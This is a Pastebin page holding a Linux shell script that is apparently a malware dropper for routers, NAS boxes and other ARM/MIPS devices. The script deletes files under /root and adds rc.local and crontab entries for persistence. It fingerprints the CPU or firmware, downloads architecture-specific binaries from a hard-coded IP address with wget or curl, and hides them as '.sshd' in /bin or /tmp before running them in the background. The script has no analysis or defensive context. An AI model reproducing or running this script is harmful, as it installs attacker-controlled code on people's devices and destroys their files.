Advertisement
CatsMeowAlot

memez

Aug 27th, 2017
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.00 KB | None | 0 0
  1. #!/bin/sh
  2. cat /proc/cpuinfo | grep -i "ARM"
  3.  
  4. if [ $? -eq 0 ]
  5. then
  6. rm -rf /root/*3389*
  7. rm -rf /root/*.exe*
  8. rm -rf /root/ssdgg.6
  9. rm -rf /root/txma
  10. rm -rf /root/Linux*
  11. fi
  12.  
  13. cat /proc/cpuinfo | grep -i "MIPS"
  14. if [ $? -eq 0 ]
  15. then
  16. rm -rf /root/*3389*
  17. rm -rf /root/*.exe*
  18. rm -rf /root/ssdgg.6
  19. rm -rf /root/txma
  20. rm -rf /root/Linux*  
  21. fi
  22.  
  23. sed -i '/^ *$/d' /etc/rc.local;
  24. sed -i '/.sshd/c \  '   /etc/rc.local;
  25. sed -i '2i/tmp/sshd.s' /etc/rc.local;
  26. sed -i '2i/tmp/sshd.s ' /etc/rc.d/rc.local;
  27. sed -i '/sshd.s/c \  '   \/etc\/crontab;
  28. sed -i '/^ *$/d' \/etc\/crontab;
  29. sed -i '$a\*\/5 * * * * root \/tmp\/sshd.s' \/etc\/crontab ;
  30.  
  31.  
  32.  
  33. if [ ! -f "/etc/crontabs/root" ];then
  34. echo "#ttt  " >> /etc/crontabs/root
  35. echo "1 * * * *  /tmp/sshd.s" >> /etc/crontabs/root
  36. fi
  37.  
  38. cat /proc/cpuinfo | grep -i "ARM"
  39. if [ $? -eq 0 ]
  40. then
  41. sed -i '/sshd.s/c \  '   /etc/crontabs/root;
  42. sed -i '/^ *$/d' /etc/crontabs/root;
  43. sed -i '$a1 * * * *  /tmp/sshd.s' /etc/crontabs/root ;
  44.  
  45. fi
  46.  
  47. cat /proc/cpuinfo | grep -i "MIPS" | grep -i -v "bogomips"
  48. if [ $? -eq 0 ]
  49. then
  50. sed -i '/sshd.s/c \  '   /etc/crontabs/root;
  51. sed -i '/^ *$/d' /etc/crontabs/root;
  52. sed -i '$a1 * * * *  /tmp/sshd.s' /etc/crontabs/root ;
  53. fi
  54.  
  55.  
  56.  
  57. uname -a | grep  "PandoraBox"
  58. if [ $? -eq 0 ]
  59. then
  60.         ps|grep "/bin/.sshd" |grep -v grep
  61.         if [ $? -ne 0 ]
  62.         then
  63.                 killall -9 .sshd ;  rm -rf /root/sshd*; wget http://121.42.9.101/sshdn.d -P /root/;  mv /root/sshdn.d  /bin/.sshd;  chmod a+x /bin/.sshd;   /bin/.sshd> /dev/null &
  64.         else
  65.                 echo "runing....."
  66.         fi
  67.         exit 0
  68. fi
  69. uname -a | grep  "synology_"| grep -v "arm" | grep -v "ARM"
  70. if [ $? -eq 0 ]
  71. then
  72.  
  73.         ps|grep "/bin/.sshd" |grep -v grep
  74.         if [ $? -ne 0 ]
  75.         then
  76.             killall -9 .sshd ; rm  -rf /root/sshd.d*;  wget http://121.42.9.101/sshd.d -P /root/;  mv /root/sshd.d  /bin/.sshd;  chmod a+x /bin/.sshd; /bin/.sshd> /dev/null &
  77.         else
  78.                 echo "runing....."
  79.         fi
  80.         exit 0
  81. fi
  82.  
  83. cat /proc/cpuinfo | grep -i "Atheros"
  84. if [ $? -eq 0 ]
  85. then
  86.         ps|grep "/tmp/.sshd" |grep -v grep
  87.         if [ $? -ne 0 ]
  88.         then
  89.                 killall -9 .sshd ;  rm -rf /tmp/sshdm.d*; wget http://121.42.9.101/sshdm.d -P /tmp/;  mv /tmp/sshdm.d  /tmp/.sshd;  chmod a+x /tmp/.sshd;   /tmp/.sshd> /dev/null &
  90.         else
  91.                 echo "runing....."
  92.         fi
  93.         exit 0
  94. fi
  95.  
  96.  
  97. con1=`cat /proc/cpuinfo | grep -i "ARM"|wc -l`
  98. con2=`uname -a| grep -i "ARM"|wc -l`
  99. echo "value $con1 $con2"
  100. if [ "$con1" -ge "1"  -o "$con2" -ge "1" ];then
  101.  
  102.          ps1=`ps|grep "/tmp/.sshd" |grep -v grep|wc -l`
  103.          ps2=`ps -ef|grep "/tmp/.sshd" |grep -v grep|wc -l`
  104.          if [ "$ps1" -eq "0" -a "$ps2" -eq "0" ];then
  105.                 killall -9 .sshd ;  rm -rf /tmp/sshda.d*; wget http://121.42.9.101/sshda.d -P /tmp/;  mv /tmp/sshda.d  /tmp/.sshd;  chmod a+x /tmp/.sshd;   /tmp/.sshd> /dev/null &
  106.         else
  107.                 echo "runing....."
  108.         fi
  109.         exit 0
  110. fi
  111.  
  112.  
  113.  
  114. cat /proc/cpuinfo | grep -i "MIPS" | grep -v "bogo" | grep -v "BOGO"| grep -v "Bogo"
  115. if [ $? -eq 0 ]
  116. then
  117.         ps|grep "/tmp/.sshd" |grep -v grep
  118.         if [ $? -ne 0 ]
  119.         then
  120.                 killall -9 .sshd ;  rm -rf /tmp/sshdn.d*; wget http://121.42.9.101/sshdn.d -P /tmp/;  mv /tmp/sshdn.d  /tmp/.sshd;  chmod a+x /tmp/.sshd;   /tmp/.sshd> /dev/null &
  121.         else
  122.                 echo "runing....."
  123.         fi
  124.         exit 0
  125. fi
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132. #comm sys
  133.  
  134.  
  135.         ps -ef |grep "/bin/.sshd" |grep -v grep
  136.         if [ $? -ne 0 ]
  137.         then
  138.                 killall -9 .sshd ; rm  -rf /root/sshd*;  wget http://121.42.9.101/sshd.d -P /root/;  
  139.                
  140.                 if [ ! -e "/root/sshd.d" ];
  141.                 then
  142.                 curl -o /root/sshd.d http:\/\/121.42.9.101\/sshd.d
  143.                 fi
  144.  
  145.                 mv /root/sshd.d  /bin/.sshd;  chmod a+x /bin/.sshd;    /bin/.sshd> /dev/null &
  146.         else
  147.                 echo "runing....."
  148.         fi
  149.         exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement